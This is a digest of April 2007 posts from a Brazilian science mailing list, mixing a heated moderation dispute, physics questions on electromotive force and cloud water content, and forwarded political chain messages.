inutilidade a humanidade...ou em outras palavras, voltada aos laboratórios
capitalistas.

sds
AV

Em 13/04/07, Chicao Valadares <chicaovaladares@yahoo.com.br> escreveu:
>
> Propósitos da lista??? Quando eu perguntei onde
> estava escrito que essa lista era de hard science você
> não soube responder.
> Tá querendo dar uma de inquisidor é ???
>
> Meus amplexos santos :p
>
> --- Luiz Ferraz Netto <leobarretos@uol.com.br <leobarretos%40uol.com.br>>
> escreveu:
>
>
> > Pelo andar da carruagem por que passa a C-List,
> > solicito aos amigos Brudna e Takata a "Exclusão" dos
> > listeiros Ferrari, Silvio Cordeiro, José Renato e
> > Murilo Filo, principais causadores dos desvios nos
> > propósitos da lista, assim como a moderação rigorosa
> > dos listeiros que participam desses desvios
> > 'contra-argumentando' sobre assuntos
> > não-pertinentes.
> > Nessa última tentativa de re-colocar a C-List em seu
> > eixo de nascimento coloco minhas esperanças na
> > retidão e discernimento dos fundadores dessa
> > agremiação de dilatadores de idéias e posturas
> > científicas.
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@uol.com.br <leobarretos%40uol.com.br>
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "Silvio Cordeiro" <scordeiroes@superig.com.br<scordeiroes%40superig.com.br>
> >
> > Para: <redeliberal@yahoogrupos.com.br <redeliberal%40yahoogrupos.com.br>>;
> "Pela
> > Legitima Defesa" <pld@pelalegitimadefesa.org.br<pld%40pelalegitimadefesa.org.br>
> >;
> > <Conversa_de_Botequim@yahoogrupos.com.br<Conversa_de_Botequim%40yahoogrupos.com.br>
> >;
> > <consciencia_sustentavel@yahoogrupos.com.br<consciencia_sustentavel%40yahoogrupos.com.br>
> >;
> > <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>;
> > <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br>>
> > Enviada em: quinta-feira, 12 de abril de 2007 23:54
> > Assunto: [ciencialist] Quinze perguntas . . .
> >
> >



SUBJECT: MORATÓRIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 16:23

Então vamos fazer o seguinte. Declaremos moratória a esses temas. Os q
continuarem ficam sob moderação de duração indeterminada.

Liberei a última mensagem do Ferrari q estava na fila de pendências.
Agora é vaca amarela sobre isso.

São as seguintes linhas de mensagem (e variantes) a serem suspensas:
-Sobre o Método Cientifico - Mapa e Território
-Questão de Ordem - Direito de Defesa
-última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
-Discordando, politely
-Abrindo a Carta do Materialismo
(A suspensão vale para a linha de mensagens - a simples mudança de
título não caracteriza a mudança da linha, q se estabelece pela
continuidade do teor das mensagens.)

As partes estabelecem o Foro da Comarca de Júpiter como a instância
para questionamentos judiciais sobre o estabelecido aqui. Brudna como
o dono da lista e/ou o conjunto dos moderadores têm o poder de
reverter esta decisão a juízos deles.

[]s,

Roberto Takata



SUBJECT: Forca magnetica --- demonstracao via Coulomb/Relatividade
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 17:39

Oi pessoal,

estou preparando um texto que, entre outras, apresenta uma demonstração da existência e cálculo da força magnética a partir da lei de Coulomb e relatividade (contração do espaço).
Estou tendo dificuldade no resultado final em ajustar a fórmula; na minha(?) demonstração aparece o quadrado da velocidade da luz e a formuleta tradicional, no sistema internacional prescindi disso. Talvez seja problema de sistemas de unidade.
Vcs podem dar uma lida e indicar uma luz para essa questão?
Coloquei provisoriamente o texto em:
http://www.feiradeciencias.com.br/provisorio/forca_magnetica.htm

Agradeço a colaboração,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: F.E.M. - um conceito pouco analisado
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 17:58

A conceituação da f.e.m. nos livros didáticos (assim como o termo 'eletricidade') sofre das mais variadas contorções e abusos. Para tentar colocar uma tênue luz nisso estou escrevendo um artigo com título "As perguntas mais freqüentes", obviamente, de alunos. A confusão entre f.e.m., tensão, diferença de potencial e potencial elétrico é 'homérica' (nada a ver com Homero!); no fundo parece ser tudo uma coisa só!
Apreciaria uma leitura e comentários dessas partes abaixo:

==============


Eletricidade
É ramo da Física que estuda o conjunto de fenômenos decorrentes das ações das cargas elétricas em repouso ou em movimento. Eletricidade não é grandeza física. Via de regra esse campo de estudos agrupa os sub-ramos: Eletrostática, Eletrodinâmica, Eletromagnetismo e Eletrônica. Sob o ponto de vista utilitário, engloba também os sub-grupos Eletrotécnica e Eletrônica Aplicada.

Força eletromotriz (F.E.M.)
É grandeza física que caracteriza, como resultado de uma conversão de energia, a separação de cargas elétricas, de sinais opostos, num sistema. É importante observar que tal separação (deslocamento) de cargas se realiza através do trabalho de forças de campo "não eletrostático". São exemplos de campos não eletrostáticos aqueles pertinentes às pilhas (ação química), geradores eletromecânicos (ação magnética), geradores piezelétricos etc. Tal grandeza física é, em geral, simbolizada pela letra grega 'e' (epsilon) ou, simplesmente por E , quando não conflitar com a notação de campo elétrico. Sua unidade oficial de medida é o volt (V).

Principais fontes de F.E.M.
As duas principais fontes são: por ação química e por ação eletromagnética. A primeira são as obtidas através de pilhas elétricas e a segunda por variação do fluxo magnético com respeito ao tempo em circuitos concatenados com o campo magnético variável. São importantes ainda, a foto-elétrica, a piro-elétrica, a piezo-elétrica, entre outras.

Tensão elétrica ou diferença de potencial (D.D.P.)
É conceito posto para pontos de um campo eletrostático. A carga ou sistema de cargas elétricas que originam tal campo eletrostático garantem que cada ponto ou região desse campo (o que inclui a própria fonte de campo) tenha seu particular potencial elétrico. Se dois desses pontos (ou regiões) apresentarem potenciais elétricos distintos, essa 'diferença de potenciais elétricos' caracterizará a tensão elétrica entre esses dois pontos. A medida dessa tensão elétrica ou diferença de potenciais elétricos pode ser feita pelo trabalho da força "eletrostática" no transporte da unidade de carga elétrica de um ponto a outro.
As cargas existentes nos terminais de um gerador elétrico (separadas por campo não eletrostático) determinam invariavelmente um campo eletrostático no espaço que as envolve (e isso inclui o interior do gerador) e, conseqüentemente, estabelece entre os terminais uma diferença de potencial elétrico ou tensão elétrica.
Na ausência de um circuito elétrico externo ao gerador, estando esse em pleno funcionamento, é essa tensão elétrica estabelecida entre seus terminais que, no interior do gerador, se opõe ao contínuo aumento da F.E.M. A separação de cargas no interior do gerador devido à forças de campo não eletrostático estabiliza quando as forças do campo eletrostático das cargas separadas anula o efeito das forças do campo não eletrostático sobre as demais cargas.
Na presença de um circuito elétrico externo (um longo fio ligado aos terminais do gerador, por exemplo), essas cargas separadas no interior do gerador (disponíveis em seus terminais) estabelecem um intenso campo eletrostático pelo interior do fio gerando forças elétricas sobre os portadores de carga elétrica do próprio fio e cujo trabalho transferem energia elétrica a tais portadores; a ação do campo eletrostático no interior do gerador diminui e este, graças ao campo não eletrostático, pode continuar a produzir a separação de cargas e a conseqüente conversão de energia.

O potencial elétrico num ponto é normalmente grafado com a letra maiúscula "V" afetado de um índice que caracteriza o ponto, tal como Va , VA, VB, V1, Vin, Vout, Ventrada, Vsaída, etc. Desse modo, a diferença de potencial entre dois pontos A e B (de um campo eletrostático ou de um circuito elétrico) fica grafada como VA - VB . A tensão elétrica entre dois pontos é indicada simplesmente pela letra maiúscula "U" ou ainda pelas letras maiúsculas "U" e "V" afetadas pelo índice que caracteriza os dois pontos, tais como, UAB e VAB , porém nunca apenas pela letra "V", característica de um potencial elétrico num dado ponto. Assim, é válido: U = VA - VB = UAB = VAB .

A unidade oficial tanto para potencial elétrico como para tensão elétrica (que é uma diferença de dois potenciais elétricos) é o volt (V).

Erros comuns entre iniciantes são:

(a) V = 10 V ; observe que a primeira ação de um aluno será 'cancelar o V' e constatar solenemente que " 1 = 10 "!

(b) "nos terminais do resistor houve uma queda de tensão de 10 V" ; observe que tensão já é uma 'queda' de potencial elétrico de modo que, ao pé da letra, a frase inicial fica: "nos terminais do resistor houve uma queda da queda de potencial de 10 V". Estranho não?

(c) "... F.E.M. e tensão elétrica são a mesma coisa, ambas são resultados de uma conversão de energia."; observe que, se assim fosse, para que duas grandezas físicas para caracterizarem a mesma coisa? Os conceitos são diferentes para ambas as grandezas. Normalmente esse erro é cometido ao ser estudado o gerador linear em circuito aberto (i = 0), onde da equação do gerador linear U = E - r.i , resulta U = E .
===============

aquele abraço,


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: volume de nuvem --- água contida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 18:21

Ois todos,
Recebi essa semana uma solicitação interessante; apenas suprimindo o nome do consulente, transcrevo abaixo:
+++++++++++++++++++
Prezado Sr Professor
Sou engenheiro aposentado, e faço pesquisas diversas, conforme poderá ver nos sites abaixo.
Tenho uma curiosidade, que creio ser de difícil resposta: há alguma estimativa de qual volume de nuvens pode ser gerado por 1 metro cúbico de água?
Antecipadamente agradeço por uma orientação.
xxxxxxxx xxxxxxxx xxxxxxxxxx
Pesquisador-Colaborador
Faculdade de Engenharia Mecânica
xxxxxxxxxx
+++++++++++++++++++

Minha primeira opção para tal estimativa foi usar a teoria cinética dos gases e enviei para ele a seguinte resposta:
+++++++++++++++++++
Olá Luis,
podemos fazer uma estimativa assim:
cada mol de água CNTP converte-se em 22,4 litros.
O mol de água tem peso atômico 18g, logo, 1 kg de água comporta 55,555 moles.
1 m³ de água tem massa aproximada de 1000 kg, logo, comportando 55 555 moles , logo,
55 555 x 22,4 litros = 1 244 432 litros
+++++++++++++++++++
Essa avaliação, principalmente pela CNTP, que não se aplica na formação do vapor d'água, me desanimou um tanto, mas ... como primeira avaliação ....
Dia seguinte recebi os seguintes dados do mesmo consulente:
+++++++++++++++++++
Obrigado Professor por relembrar isto.
Qual a sua área de ensino?
Achei em vários sites procurando por " water content of the clouds" dados muito interessantes para mim, quais sejam o valor de g/m3 de diversos tipos de nuvens. Existem muitos trabalhos científicos nesta área, e os valores variam de 0,2 a 0,5 gramas de água por metro cúbico de nuvem!
++++++++++++++++++
Oba! Tendo esses dados tenho uma chance de comprovar ou não minha estimativa; fiz e enviei os cálculos:
++++++++++++++++++
Olá Sr. xxxxxx
vamos ver se minha estimativa são compatíveis com esses dados (supostos 'verdadeiros'):
(a) informação: 0,2 a 0,5 g de água / 1 m³ de nuvem
(b) nossa avaliação: 1m³ de água forma ~ 1 250 000 litros = 1 250 m³ de vapor d'água à CNTP e apresenta massa de água de 1 000 kg = 1 000 000 g. Nessas condições a densidade média do vapor será de: 1 000 000 g/ 1 250 m³ = 800 g/m³ .

Todavia CNTP não é a situação da nuvem 'normal'. Se apenas aceitarmos que na sua altura a pressão caia a 1/4 da PN, o volume quadruplica e teríamos densidade média de 200 g/m³ .

Os dados não são compatíveis, ou melhor, faltam outros dados. Comecei uma pesquisa em:

http://www.master.iag.usp.br/ensino/Sinotica/AULA07/AULA07.HTML

mas não pude concluí-la ..... até outra oportunidade......
+++++++++++++++++++++

Se alguém quiser se manifestar no tema, please, fique à vontade.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Eletricidade não existe!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 18:33

Esse artigo "Eletricidade não existe!", posto em minha sala 12, tem propiciado dezenas de e-mails, dos quais só 80% concordam comigo. 20% são 'seguros' da existência da tal de eletricidade.
Assim, dei uma lapidada para melhorar a didática do texto. Aos interessados, está em:

http://www.feiradeciencias.com.br/sala12/12_T07.asp

Se quiserem acrescentar alguma argumentação pró ou contra, eis a oportunidade.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 18:41

Caro, não tenho nada haver nessa discussão infantil e inútil, por isso, além
do seu preconceito descabido e não compativel com seu nivel de professor
(cuja duvida ficou bem clara agora); devo acrescentar que não contribui para
a real ciência e nem haverá de contribuir para a mesma a discussão aqui
travada. O direito de se expressar que está na constituição brasileira, onde
o senhor como professor deveria conhecer, me dá o direito de dizer e
expressar minha opinião e a aos envolvidos nessa discussão influtifera.

Devo alerta-lo que cientista não é ter diploma, mas ter consciência do que
está fazendo em pró a humanidade...

sds
AV

Em 13/04/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Por gentileza, Brudna e Takata, queiram acrescentar à lista de minha
> solicitação de EXCLUSÃO e/ou MODERAÇÃO RÍGIDA o listeiro Amauri Voltaire;
> não sei porque cargas d'água esqueci-me de citá-lo. A mentalidade
> 'CIENTÍFICA' do referido é incompatível com os maduros preceitos da lógica.
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Amauri Voltaire " <amaurij@gmail.com <amaurij%40gmail.com>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sexta-feira, 13 de abril de 2007 13:37
> Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
> RIGOROSA
>
> Isso fere a ética da democracia e reforça o "fanatismo" da ciência voltada
> a
> inutilidade a humanidade...ou em outras palavras, voltada aos laboratórios
> capitalistas.
>
> sds
> AV
>
> Em 13/04/07, Chicao Valadares <chicaovaladares@yahoo.com.br<chicaovaladares%40yahoo.com.br>>
> escreveu:
> >
> > Propósitos da lista??? Quando eu perguntei onde
> > estava escrito que essa lista era de hard science você
> > não soube responder.
> > Tá querendo dar uma de inquisidor é ???
> >
> > Meus amplexos santos :p
> >
> > --- Luiz Ferraz Netto <leobarretos@uol.com.br <leobarretos%40uol.com.br><leobarretos%
> 40uol.com.br>>
> > escreveu:
> >
> >
> > > Pelo andar da carruagem por que passa a C-List,
> > > solicito aos amigos Brudna e Takata a "Exclusão" dos
> > > listeiros Ferrari, Silvio Cordeiro, José Renato e
> > > Murilo Filo, principais causadores dos desvios nos
> > > propósitos da lista, assim como a moderação rigorosa
> > > dos listeiros que participam desses desvios
> > > 'contra-argumentando' sobre assuntos
> > > não-pertinentes.
> > > Nessa última tentativa de re-colocar a C-List em seu
> > > eixo de nascimento coloco minhas esperanças na
> > > retidão e discernimento dos fundadores dessa
> > > agremiação de dilatadores de idéias e posturas
> > > científicas.
> > >
> > > aquele abraço,
> > > ===========================
> > > Luiz Ferraz Netto [Léo]
> > > leobarretos@uol.com.br <leobarretos%40uol.com.br> <leobarretos%
> 40uol.com.br>
> > > http://www.feiradeciencias.com.br/doacoes.asp
> > > ===========================
> > > -----Mensagem Original-----
> > > De: "Silvio Cordeiro" <scordeiroes@superig.com.br<scordeiroes%40superig.com.br>
> <scordeiroes%40superig.com.br>
> > >
> > > Para: <redeliberal@yahoogrupos.com.br<redeliberal%40yahoogrupos.com.br><redeliberal%40yahoogrupos.
> com.br>>;
> > "Pela
> > > Legitima Defesa" <pld@pelalegitimadefesa.org.br<pld%40pelalegitimadefesa.org.br>
> <pld%40pelalegitimadefesa.org.br>
> > >;
> > > <Conversa_de_Botequim@yahoogrupos.com.br<Conversa_de_Botequim%40yahoogrupos.com.br>
> <Conversa_de_Botequim%40yahoogrupos.com.br>
> > >;
> > > <consciencia_sustentavel@yahoogrupos.com.br<consciencia_sustentavel%40yahoogrupos.com.br>
> <consciencia_sustentavel%40yahoogrupos.com.br>
> > >;
> > > <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br><ciencialist%40yahoogrupos.
> com.br>>;
> > > <Acropolis_@yahoogrupos.com.br <Acropolis_%40yahoogrupos.com.br><Acropolis_%40yahoogrupos.
> com.br>>
> > > Enviada em: quinta-feira, 12 de abril de 2007 23:54
> > > Assunto: [ciencialist] Quinze perguntas . . .
> > >
> > >
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre forças e partículas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 19:21

Olá, Takata.

Obrigado pelos esclarecimentos. Essas forças, no entanto, sempre
foram meio esotéricas para mim. Tenho dúvidas até que ponto os
físicos compreendem a natureza dessas coisas. Eles estão lidando com
coisas muito basais.

Um abraço.
João de Carvalho.





SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 19:58

Amauri,
a constituição brasileira me dá o direito de resposta, assim sendo:
Vá à merda!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Amauri Voltaire " <amaurij@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 13 de abril de 2007 18:41
Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA


Caro, não tenho nada haver nessa discussão infantil e inútil, por isso, além
do seu preconceito descabido e não compativel com seu nivel de professor
(cuja duvida ficou bem clara agora); devo acrescentar que não contribui para
a real ciência e nem haverá de contribuir para a mesma a discussão aqui
travada. O direito de se expressar que está na constituição brasileira, onde
o senhor como professor deveria conhecer, me dá o direito de dizer e
expressar minha opinião e a aos envolvidos nessa discussão influtifera.

Devo alerta-lo que cientista não é ter diploma, mas ter consciência do que
está fazendo em pró a humanidade...

sds
AV




SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/04/2007 21:52

Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com cefalópodes são mantidas em absoluto sigilo: eles já são treinados para colocar uma granada no casco de um submarino cujo som lhes é passado pelo controle do sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com animais, guardadas como segredo pois são peças importantes em qualquer necessidade militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia do que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007 22:57


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 22:38

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Aqui abriu nos 3 browsers (Mozilla, Opera e Internet Explorer).
>
> Vc nao está entrando na versão "xml"? Tenta de novo nessa url (as
versões
> ficam do lado direito)
>
> http://www.scielo.br/scielo.php?script=sci_arttext&pid=S0001-
37652006000400005


>>>>Agora entrou de primeira!

:-)

Valeu!

Abs,
Eduardo Torres



SUBJECT: RE: [ciencialist] Nos EUA a justiça funciona
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:04

A av. Águas Espraiadas - aquí perto de casa - que, se não me engano, agora
se chama Roberto Plimplim Marinho, custou por quilômetro MAIS do que o túnel
sob o Canal da Mancha. São duas pistas de 4 faixas com um bosteiro correndo
no meio.
O maluf diz que é perseguição política...
Com a renca de eleitores imbecís desse país, a gente é convencido de que
tudo poderia ser muito pior, e acabamos ficando satisfeitinhos até mesmo com
esta bosta geral!!!
Quem tem um mínimo de consciência fica ilhado entre os imbecís e os
políticos sociopatas.
Arre, égua...


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To:
><redeliberal@yahoogrupos.com.br>,<politicab@yahoogrupos.com.br>,<noosfera_II@yahoogrupos.com.br>,"Pela
>Legitima Defesa"
><pld@pelalegitimadefesa.org.br>,<Conversa_de_Botequim@yahoogrupos.com.br>,<ciencialist@yahoogrupos.com.br>,<brasil-politica@grupos.com.br>,"Cidadania
>Alerta" <cidadanialerta@terra.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: [ciencialist] Nos EUA a justiça funciona
>Date: Thu, 12 Apr 2007 23:45:03 -0300
>
>transcrevo do Caio Bertazzi in grupo de politica
>
>
>
>
>Maluf pode ter desviado US$ 120 milhões, diz promotor
>de NY
>
>Morgenthau diz que as obras da antiga avenida Água
>Espraiada custaram três
>vezes mais e que tem provas sobre as irregularidades.
>Ex-prefeito já foi indiciado
>
>Daniel Trotta e Paritosh Bansal, Reuters
>
>NOVA YORK - O ex-prefeito de São Paulo Paulo Maluf,
>que foi indiciado em Nova York por suspeita de desvio
>de recursos na construção da avenida Roberto Marinho,
>pode ter arrecadado US$ 120 milhões em propinas, disse
>o promotor do distrito de Manhattan Robert Morgenthau,
>nesta terça-feira, 10.
>
>Um júri popular de Nova York indiciou Maluf e quatro
>outras pessoas por suspeita de roubo e conspiração em
>março, seguindo uma investigação liderada pelo
>escritório de Morgenthau com a cooperação de
>autoridades brasileiras. Maluf, que já foi candidato à
>Presidência, se elegeu deputado federal em 2006 pelo
>PP e foi prefeito da cidade de São Paulo e governador
>do Estado de São Paulo.
>
>Morgenthau disse à Reuters em entrevista que o projeto
>da antiga avenida Água Espraiada deveria custar US$
>200 milhões, mas acabou custando US$ 600 milhões, em
>grande parte por meios ilegais.
>
>"Acusamos Maluf de passar 11,5 milhões por aqui (Nova
>York) porque temos todas as notas e tudo. Podemos
>provar que isso tudo foram propinas nesse contrato.
>Acreditamos que ele roubou 120 milhões desse projeto",
>disse Morgenthau
>
>__________________________________________________
>Fale com seus amigos de graça com o novo Yahoo! Messenger
>http://br.messenger.yahoo.com/
>
>
>
>
>
>--------------------------------------------------------------------------------
>
>
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007
>22:57
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
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>
>Página de apoio
>http://www.ciencialist.com
>
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Chemists design world's lowest-density crystals
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:06




>From: "tallex2002" <altenergynetwork@alternate-energy.net>
>To: free_energy@yahoogroups.com
>Subject: [free_energy] Chemists design world's lowest-density crystals
>Date: Fri, 13 Apr 2007 03:12:12 -0000
>
>Chemists design world's lowest-density
>crystals for use in clean energy
>Chemists at UCLA have designed new organic
>structures for the storage of voluminous amounts
>of gases for use in alternative energy technologies
>
>http://www.physorg.com/news95617436.html
>
>
>http://www.physorg.com/news95617436.html
>
>
>Get your daily alternative energy news
>
>Alternate Energy Resource Network
>1000+ news sources-resources
>updated daily
>
>http://www.alternate-energy.net
>
>
>
>Next_Generation_Grid
>
>http://tech.groups.yahoo.com/group/next_generation_grid
>
>Alternative_Energy_Politics
>
>http://tech.groups.yahoo.com/group/Alternative_Energy_Politics
>
>
>http://tech.groups.yahoo.com/group/next_generation_grid/
>
>
>Tomorrow-energy
>
>http://tech.groups.yahoo.com/group/tomorrow-energy
>
>
>Earth_Rescue_International
>
>http://groups.yahoo.com/group/Earth_Rescue_International
>
>
>
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>
>
>




SUBJECT: RE: [ciencialist] Quinze perguntas . . .
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:13

Sílvio,
vc é terrível...


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <redeliberal@yahoogrupos.com.br>,"Pela Legitima Defesa"
><pld@pelalegitimadefesa.org.br>,<Conversa_de_Botequim@yahoogrupos.com.br>,<consciencia_sustentavel@yahoogrupos.com.br>,<ciencialist@yahoogrupos.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: [ciencialist] Quinze perguntas . . .
>Date: Thu, 12 Apr 2007 23:54:05 -0300
>
>
> . .
>
>
>
>
>
>
>
>( Repassando . . . )
>
>
>
>
>
>
>QUINZE PERGUNTAS EXTREMAMENTE DIFÍCEIS DE SEREM RESPONDIDAS.
>
>
>PROCURA-SE UMA MENTE SUPERIOR CAPAZ DE RESPONDÊ-LAS.
>
>
>
>1.Por que o presidente do povo usa terno Armani?
>
>
>
>2. Por que o presidente do povo pode ter ensino fundamental incompleto e
>um gari necessita de ensino fundamental completo?
>
>
>
>3. Por que o presidente do povo acumula aposentadoria por invalidez,
>aposentadoria de dep. federal, pensão vitalícia de "perseguido político",
>salário de presidente de honra do PT e salário de presidente da república?
>
>
>
>4. Por que o presidente do povo é perseguido político, sendo que passou
>apenas UMA noite no DOPS?
>
>
>
>5. Por que o presidente do povo comprou um avião da concorrente da Embraer?
>
>
>
>6. Por que o presidente do povo se aposentou por invalidez apenas por ter
>um dedo a menos e hoje trabalha como presidente do Brasil?
>
>
>
>7. Por que o presidente do povo protege seus amigos comprovadamente
>corruptos e nunca aconteceu nada com ele?
>
>
>
>8. Por que o presidente do povo se vangloria de não ter estudo e ser filho
>de mãe analfabeta e acha normal ter filhos estudando fora do Brasil?
>
>
>
>9. Por que o presidente do povo quando do seu mandato de Dep. Federal, não
>participou da vida parlamentar do Congresso?
>
>
>
>10. Por que o partido do presidente do povo tem ligação com a FARC e
>ninguém comenta isto?
>
>
>
>11. Por que a mulher do presidente do povo não faz absolutamente nada ?
>
>
>
>12. Por que o presidente do povo não sofreu "impeachment" como o Collor ?
>
>
>
>13. Por que a candidata Heloísa Helena foi expulsa do PT e o José Dirceu
>(dep.cassado) e Antonio Palocci (indiciado por quebra ilegal de sigilo
>bancário e outros crimes) não o foram?
>
>
>
